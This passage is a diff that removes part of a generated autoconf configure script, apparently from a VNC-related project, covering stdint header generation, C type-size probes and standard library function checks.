-"
-if test "x$ac_cv_type_u_int32_t" = xyes; then :
- ac_cv_header_stdint_u=$i
-else
- continue
-fi
-
- ac_fn_c_check_type "$LINENO" "uint64_t" "ac_cv_type_uint64_t" "#include<$i>
-"
-if test "x$ac_cv_type_uint64_t" = xyes; then :
- and64="(u_int64_t too)"
-else
- and64=""
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen our u_int32_t in $i $and64" >&5
-$as_echo "... seen our u_int32_t in $i $and64" >&6; }
- break;
- done
- fi
- fi
-
-# ----------------- DONE inttypes.h checks MAYBE C basic types --------
-
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of char" >&5
-$as_echo_n "checking size of char... " >&6; }
-if ${ac_cv_sizeof_char+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (char) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_char=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_char != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_char = x ; then
- as_fn_error $? "cannot determine a size for char" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_char" >&5
-$as_echo "$ac_cv_sizeof_char" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-@%:@define SIZEOF_CHAR $ac_cv_sizeof_char
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of short" >&5
-$as_echo_n "checking size of short... " >&6; }
-if ${ac_cv_sizeof_short+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (short) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_short=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_short != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_short = x ; then
- as_fn_error $? "cannot determine a size for short" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_short" >&5
-$as_echo "$ac_cv_sizeof_short" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-@%:@define SIZEOF_SHORT $ac_cv_sizeof_short
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of int" >&5
-$as_echo_n "checking size of int... " >&6; }
-if ${ac_cv_sizeof_int+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (int) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_int=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_int != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_int = x ; then
- as_fn_error $? "cannot determine a size for int" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_int" >&5
-$as_echo "$ac_cv_sizeof_int" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-@%:@define SIZEOF_INT $ac_cv_sizeof_int
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of long" >&5
-$as_echo_n "checking size of long... " >&6; }
-if ${ac_cv_sizeof_long+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (long) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_long=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_long != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_long = x ; then
- as_fn_error $? "cannot determine a size for long" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_long" >&5
-$as_echo "$ac_cv_sizeof_long" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-@%:@define SIZEOF_LONG $ac_cv_sizeof_long
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of void*" >&5
-$as_echo_n "checking size of void*... " >&6; }
-if ${ac_cv_sizeof_voidp+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (void*) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_voidp=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_voidp != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_voidp = x ; then
- as_fn_error $? "cannot determine a size for void*" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_voidp" >&5
-$as_echo "$ac_cv_sizeof_voidp" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-@%:@define SIZEOF_VOIDP $ac_cv_sizeof_voidp
-_ACEOF
-
-
- ac_cv_header_stdint_test="yes"
-else
- ac_cv_header_stdint_test="no"
-fi
-
-# ----------------- DONE inttypes.h checks START header -------------
-_ac_stdint_h=`$as_echo "_$ac_stdint_h" | $as_tr_cpp`
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: creating $ac_stdint_h : $_ac_stdint_h" >&5
-$as_echo "creating $ac_stdint_h : $_ac_stdint_h" >&6; }
-echo "#ifndef" $_ac_stdint_h >$ac_stdint_h
-echo "#define" $_ac_stdint_h "1" >>$ac_stdint_h
-echo "#ifndef" _GENERATED_STDINT_H >>$ac_stdint_h
-echo "#define" _GENERATED_STDINT_H '"'$PACKAGE $VERSION'"' >>$ac_stdint_h
-if test "$GCC" = "yes" ; then
- echo "/* generated using a gnu compiler version" `$CC --version` "*/" \
- >>$ac_stdint_h
-else
- echo "/* generated using $CC */" >>$ac_stdint_h
-fi
-echo "" >>$ac_stdint_h
-
-if test "$ac_cv_header_stdint_x" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_x"
-elif test "$ac_cv_header_stdint_o" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_o"
-elif test "$ac_cv_header_stdint_u" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_u"
-else
- ac_cv_header_stdint="stddef.h"
-fi
-
-# ----------------- See if int_least and int_fast types are present
-unset ac_cv_type_int_least32_t
-unset ac_cv_type_int_fast32_t
-ac_fn_c_check_type "$LINENO" "int_least32_t" "ac_cv_type_int_least32_t" "#include <$ac_cv_header_stdint>
-"
-if test "x$ac_cv_type_int_least32_t" = xyes; then :
-
-fi
-
-ac_fn_c_check_type "$LINENO" "int_fast32_t" "ac_cv_type_int_fast32_t" "#include<$ac_cv_header_stdint>
-"
-if test "x$ac_cv_type_int_fast32_t" = xyes; then :
-
-fi
-
-
-if test "$ac_cv_header_stdint" != "stddef.h" ; then
-if test "$ac_cv_header_stdint" != "stdint.h" ; then
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding include stddef.h" >&5
-$as_echo "..adding include stddef.h" >&6; }
- echo "#include <stddef.h>" >>$ac_stdint_h
-fi ; fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding include $ac_cv_header_stdint" >&5
-$as_echo "..adding include $ac_cv_header_stdint" >&6; }
- echo "#include <$ac_cv_header_stdint>" >>$ac_stdint_h
-echo "" >>$ac_stdint_h
-
-# ----------------- DONE header START basic int types -------------
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... need to look at C basic types" >&5
-$as_echo "... need to look at C basic types" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen good stdint.h inttypes" >&5
-$as_echo "... seen good stdint.h inttypes" >&6; }
-fi
-
-if test "$ac_cv_header_stdint_u" != "no-file" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen bsd/sysv typedefs" >&5
-$as_echo "... seen bsd/sysv typedefs" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* int8_t int16_t int32_t defined by inet code, redeclare the u_intXX types */
-typedef u_int8_t uint8_t;
-typedef u_int16_t uint16_t;
-typedef u_int32_t uint32_t;
-EOF
- cat >>$ac_stdint_h <<EOF
-
-/* glibc compatibility */
-#ifndef __int8_t_defined
-#define __int8_t_defined
-#endif
-EOF
-fi
-
-ac_cv_sizeof_x="$ac_cv_sizeof_char:$ac_cv_sizeof_short"
-ac_cv_sizeof_X="$ac_cv_sizeof_x:$ac_cv_sizeof_int"
-ac_cv_sizeof_X="$ac_cv_sizeof_X:$ac_cv_sizeof_voidp:$ac_cv_sizeof_long"
-if test "$ac_cv_header_stdint" = "stddef.h" ; then
-# we must guess all the basic types. Apart from byte-adressable system,
-# there a few 32-bit-only dsp-systems. nibble-addressable systems are way off.
- cat >>$ac_stdint_h <<EOF
-/* ------------ BITSPECIFIC INTTYPES SECTION --------------- */
-EOF
- t="typedefs for a"
- case "$ac_cv_sizeof_X" in
- 1:2:2:2:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t normal 16-bit system" >&5
-$as_echo "..adding $t normal 16-bit system" >&6; }
- cat >>$ac_stdint_h <<EOF
-/* a normal 16-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned long uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef long int32_t;
-#endif
-EOF
-;;
- 1:2:2:4:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t 32-bit system derived from a 16-bit" >&5
-$as_echo "..adding $t 32-bit system derived from a 16-bit" >&6; }
- cat >>$ac_stdint_h <<EOF
-/* a 32-bit system derived from a 16-bit */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:4:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t normal 32-bit system" >&5
-$as_echo "..adding $t normal 32-bit system" >&6; }
- cat >>$ac_stdint_h <<EOF
-/* a normal 32-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:4:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t 32-bit system prepared for 64-bit" >&5
-$as_echo "..adding $t 32-bit system prepared for 64-bit" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* a 32-bit system prepared for 64-bit */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:8:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t normal 64-bit system" >&5
-$as_echo "..adding $t normal 64-bit system" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* a normal 64-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:8:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t 64-bit system derived from a 32-bit" >&5
-$as_echo "..adding $t 64-bit system derived from a 32-bit" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* a 64-bit system derived from a 32-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- *)
- as_fn_error $? " $ac_cv_sizeof_X what is that a system? contact the author, quick! http://ac-archive.sf.net" "$LINENO" 5
- exit 1
-;;
- esac
-fi
-
-# ------------- DONE basic int types START int64_t types ------------
-if test "$ac_cv_type_uint64_t" = "yes"
-then { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen good uint64_t" >&5
-$as_echo "... seen good uint64_t" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* system headers have good uint64_t */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-#endif
-EOF
-
-elif test "$ac_cv_type_u_int64_t" = "yes"
-then { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding typedef u_int64_t uint64_t" >&5
-$as_echo "..adding typedef u_int64_t uint64_t" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* system headers have an u_int64_t */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef u_int64_t uint64_t;
-#endif
-EOF
-else { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding generic uint64_t runtime checks" >&5
-$as_echo "..adding generic uint64_t runtime checks" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* -------------------- 64 BIT GENERIC SECTION -------------------- */
-/* here are some common heuristics using compiler runtime specifics */
-#if defined __STDC_VERSION__ && defined __STDC_VERSION__ > 199901L
-
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-
-#elif !defined __STRICT_ANSI__
-#if defined _MSC_VER || defined __WATCOMC__ || defined __BORLANDC__
-
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef __int64 int64_t;
-typedef unsigned __int64 uint64_t;
-#endif
-
-#elif defined __GNUC__ || defined __MWERKS__ || defined __ELF__
-
-#if !defined _NO_LONGLONG
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-#endif
-
-#elif defined __alpha || (defined __mips && defined _ABIN32)
-
-#if !defined _NO_LONGLONG
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-#endif
- /* compiler/cpu type ... or just ISO C99 */
-#endif
-#endif
-EOF
-
-# plus a default 64-bit for systems that are likely to be 64-bit ready
- case "$ac_cv_sizeof_x:$ac_cv_sizeof_voidp:$ac_cv_sizeof_long" in
- 1:2:8:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding uint64_t default" >&5
-$as_echo "..adding uint64_t default" >&6; }
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen normal 64-bit system, CC has sizeof(long and void*) == 8 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-EOF
-;;
- 1:2:4:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding uint64_t default" >&5
-$as_echo "..adding uint64_t default" >&6; }
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen 32-bit system prepared for 64-bit, CC has sizeof(long) == 8 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-EOF
-;;
- 1:2:8:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding uint64_t default" >&5
-$as_echo "..adding uint64_t default" >&6; }
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen 64-bit derived from a 32-bit, CC has sizeof(long) == 4 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-EOF
-;;
- *)
-cat >>$ac_stdint_h <<EOF
-/* NOTE: */
-/* the configure-checks for the basic types did not make us believe */
-/* that we could add a fallback to a 'long long' typedef to int64_t */
-EOF
- esac
-fi
-
-# ------------- DONE int64_t types START intptr types ------------
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- cat >>$ac_stdint_h <<EOF
-
-/* -------------------------- INPTR SECTION --------------------------- */
-EOF
- case "$ac_cv_sizeof_x:$ac_cv_sizeof_voidp" in
- 1:2:2)
- a="int16_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 2 chars, hence we declare it 16-bit */
-
-typedef uint16_t uintptr_t;
-typedef int16_t intptr_t;
-EOF
-;;
- 1:2:4)
- a="int32_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 4 chars, hence we declare it 32-bit */
-
-typedef uint32_t uintptr_t;
-typedef int32_t intptr_t;
-EOF
-;;
- 1:2:8)
- a="int64_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 8 chars, hence we declare it 64-bit */
-
-typedef uint64_t uintptr_t;
-typedef int64_t intptr_t;
-EOF
-;;
- *)
- a="long" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) but got no guess, hence we declare it as if long */
-
-typedef unsigned long uintptr_t;
-typedef long intptr_t;
-EOF
-;;
- esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding typedef $a intptr_t" >&5
-$as_echo "..adding typedef $a intptr_t" >&6; }
-fi
-
-# ------------- DONE intptr types START int_least types ------------
-if test "$ac_cv_type_int_least32_t" = "no"; then
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding generic int_least-types" >&5
-$as_echo "..adding generic int_least-types" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* --------------GENERIC INT_LEAST ------------------ */
-
-typedef int8_t int_least8_t;
-typedef int16_t int_least16_t;
-typedef int32_t int_least32_t;
-#ifdef _HAVE_INT64_T
-typedef int64_t int_least64_t;
-#endif
-
-typedef uint8_t uint_least8_t;
-typedef uint16_t uint_least16_t;
-typedef uint32_t uint_least32_t;
-#ifdef _HAVE_INT64_T
-typedef uint64_t uint_least64_t;
-#endif
-EOF
-fi
-
-# ------------- DONE intptr types START int_least types ------------
-if test "$ac_cv_type_int_fast32_t" = "no"; then
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding generic int_fast-types" >&5
-$as_echo "..adding generic int_fast-types" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* --------------GENERIC INT_FAST ------------------ */
-
-typedef int8_t int_fast8_t;
-typedef int32_t int_fast16_t;
-typedef int32_t int_fast32_t;
-#ifdef _HAVE_INT64_T
-typedef int64_t int_fast64_t;
-#endif
-
-typedef uint8_t uint_fast8_t;
-typedef uint32_t uint_fast16_t;
-typedef uint32_t uint_fast32_t;
-#ifdef _HAVE_INT64_T
-typedef uint64_t uint_fast64_t;
-#endif
-EOF
-fi
-
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- cat >>$ac_stdint_h <<EOF
-
-#ifdef _HAVE_INT64_T
-typedef int64_t intmax_t;
-typedef uint64_t uintmax_t;
-#else
-typedef long int intmax_t;
-typedef unsigned long uintmax_t;
-#endif
-EOF
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ... DONE $ac_stdint_h" >&5
-$as_echo "... DONE $ac_stdint_h" >&6; }
- cat >>$ac_stdint_h <<EOF
-
- /* once */
-#endif
-#endif
-EOF
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for in_addr_t" >&5
-$as_echo_n "checking for in_addr_t... " >&6; }
-if ${vnc_cv_inaddrt+:} false; then :
- $as_echo_n "(cached) " >&6
-else
-
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
-#include <netinet/in.h>
-int
-main ()
-{
-in_addr_t foo; return 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- inaddrt=yes
-else
- inaddrt=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext,
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $vnc_cv_inaddrt" >&5
-$as_echo "$vnc_cv_inaddrt" >&6; }
-
-if test $inaddrt = no ; then
- $as_echo "@%:@define NEED_INADDR_T 1" >>confdefs.h
-
-fi
-# Checks for library functions.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for working memcmp" >&5
-$as_echo_n "checking for working memcmp... " >&6; }
-if ${ac_cv_func_memcmp_working+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_memcmp_working=no
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-
- /* Some versions of memcmp are not 8-bit clean. */
- char c0 = '\100', c1 = '\200', c2 = '\201';
- if (memcmp(&c0, &c2, 1) >= 0 || memcmp(&c1, &c2, 1) >= 0)
- return 1;
-
- /* The Next x86 OpenStep bug shows up only when comparing 16 bytes
- or more and with at least one buffer not starting on a 4-byte boundary.
- William Lewis provided this test program. */
- {
- char foo[21];
- char bar[21];
- int i;
- for (i = 0; i < 4; i++)
- {
- char *a = foo + i;
- char *b = bar + i;
- strcpy (a, "--------01111111");
- strcpy (b, "--------10000000");
- if (memcmp (a, b, 16) >= 0)
- return 1;
- }
- return 0;
- }
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_memcmp_working=yes
-else
- ac_cv_func_memcmp_working=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_memcmp_working" >&5
-$as_echo "$ac_cv_func_memcmp_working" >&6; }
-test $ac_cv_func_memcmp_working = no && case " $LIB@&t@OBJS " in
- *" memcmp.$ac_objext "* ) ;;
- *) LIB@&t@OBJS="$LIB@&t@OBJS memcmp.$ac_objext"
- ;;
-esac
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether lstat correctly handles trailing slash" >&5
-$as_echo_n "checking whether lstat correctly handles trailing slash... " >&6; }
-if ${ac_cv_func_lstat_dereferences_slashed_symlink+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- rm -f conftest.sym conftest.file
-echo >conftest.file
-if test "$as_ln_s" = "ln -s" && ln -s conftest.file conftest.sym; then
- if test "$cross_compiling" = yes; then :
- ac_cv_func_lstat_dereferences_slashed_symlink=no
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-struct stat sbuf;
- /* Linux will dereference the symlink and fail, as required by POSIX.
- That is better in the sense that it means we will not
- have to compile and use the lstat wrapper. */
- return lstat ("conftest.sym/", &sbuf) == 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_lstat_dereferences_slashed_symlink=yes
-else
- ac_cv_func_lstat_dereferences_slashed_symlink=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-else
- # If the `ln -s' command failed, then we probably don't even
- # have an lstat function.
- ac_cv_func_lstat_dereferences_slashed_symlink=no
-fi
-rm -f conftest.sym conftest.file
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_lstat_dereferences_slashed_symlink" >&5
-$as_echo "$ac_cv_func_lstat_dereferences_slashed_symlink" >&6; }
-
-test $ac_cv_func_lstat_dereferences_slashed_symlink = yes &&
-
-cat >>confdefs.h <<_ACEOF
-@%:@define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-_ACEOF
-
-
-if test "x$ac_cv_func_lstat_dereferences_slashed_symlink" = xno; then
- case " $LIB@&t@OBJS " in
- *" lstat.$ac_objext "* ) ;;
- *) LIB@&t@OBJS="$LIB@&t@OBJS lstat.$ac_objext"
- ;;
-esac
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether stat accepts an empty string" >&5
-$as_echo_n "checking whether stat accepts an empty string... " >&6; }
-if ${ac_cv_func_stat_empty_string_bug+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_stat_empty_string_bug=yes
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-struct stat sbuf;
- return stat ("", &sbuf) == 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_stat_empty_string_bug=no
-else
- ac_cv_func_stat_empty_string_bug=yes
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_stat_empty_string_bug" >&5
-$as_echo "$ac_cv_func_stat_empty_string_bug" >&6; }
-if test $ac_cv_func_stat_empty_string_bug = yes; then
- case " $LIB@&t@OBJS " in
- *" stat.$ac_objext "* ) ;;
- *) LIB@&t@OBJS="$LIB@&t@OBJS stat.$ac_objext"
- ;;
-esac
-
-
-cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_STAT_EMPTY_STRING_BUG 1
-_ACEOF
-
-fi
-
-for ac_func in strftime
-do :
- ac_fn_c_check_func "$LINENO" "strftime" "ac_cv_func_strftime"
-if test "x$ac_cv_func_strftime" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_STRFTIME 1
-_ACEOF
-
-else
- # strftime is in -lintl on SCO UNIX.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for strftime in -lintl" >&5
-$as_echo_n "checking for strftime in -lintl... " >&6; }
-if ${ac_cv_lib_intl_strftime+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lintl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char strftime ();
-int
-main ()
-{
-return strftime ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_intl_strftime=yes
-else
- ac_cv_lib_intl_strftime=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_intl_strftime" >&5
-$as_echo "$ac_cv_lib_intl_strftime" >&6; }
-if test "x$ac_cv_lib_intl_strftime" = xyes; then :
- $as_echo "@%:@define HAVE_STRFTIME 1" >>confdefs.h
-
-LIBS="-lintl $LIBS"
-fi
-
-fi
-done
-
-for ac_func in vprintf
-do :
- ac_fn_c_check_func "$LINENO" "vprintf" "ac_cv_func_vprintf"
-if test "x$ac_cv_func_vprintf" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_VPRINTF 1
-_ACEOF
-
-ac_fn_c_check_func "$LINENO" "_doprnt" "ac_cv_func__doprnt"
-if test "x$ac_cv_func__doprnt" = xyes; then :
-
-$as_echo "@%:@define HAVE_DOPRNT 1" >>confdefs.h
-
-fi
-
-fi
-done
-
-
-ac_fn_c_check_type "$LINENO" "pid_t" "ac_cv_type_pid_t" "$ac_includes_default"
-if test "x$ac_cv_type_pid_t" = xyes; then :
-
-else
-
-cat >>confdefs.h <<_ACEOF
-@%:@define pid_t int
-_ACEOF
-
-fi
-
-for ac_header in vfork.h
-do :
- ac_fn_c_check_header_mongrel "$LINENO" "vfork.h" "ac_cv_header_vfork_h" "$ac_includes_default"
-if test "x$ac_cv_header_vfork_h" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_VFORK_H 1
-_ACEOF
-
-fi
